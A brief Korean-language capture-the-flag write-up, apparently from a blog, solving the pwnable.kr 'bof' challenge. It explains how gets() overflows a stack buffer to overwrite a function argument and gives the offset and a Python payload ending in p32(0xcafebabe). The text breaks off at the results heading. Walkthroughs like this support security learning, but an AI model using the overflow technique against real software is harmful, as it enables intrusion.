pwnable.kr

[Toddler's Bottle] bof writeup

st4rbuucks 2018. 9. 15. 00:21

문제

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000


분석

<bof.c 의 내용>


1. key는 함수 func의 첫번째 전달인자로, [ebp + 0x8]에 위치한다.

2. gets로 입력을 한번 받은 뒤

2. 최초로 0xdeadbeef가 key의 값으로 전달되지만 gets(overflowme)의 과정에서 [ebp + 0x8]을 덮을 수 있다.

+) gdb를 통해 알아보니 overflowme와 ebp는 0x2c만큼 떨어져 있었다.


payload  = ''

payload += 'a' * 0x2c

payload += 'bbbb'        # sfp

payload += 'cccc'          # ret addr

payload += p32(0xcafebabe)


실행결과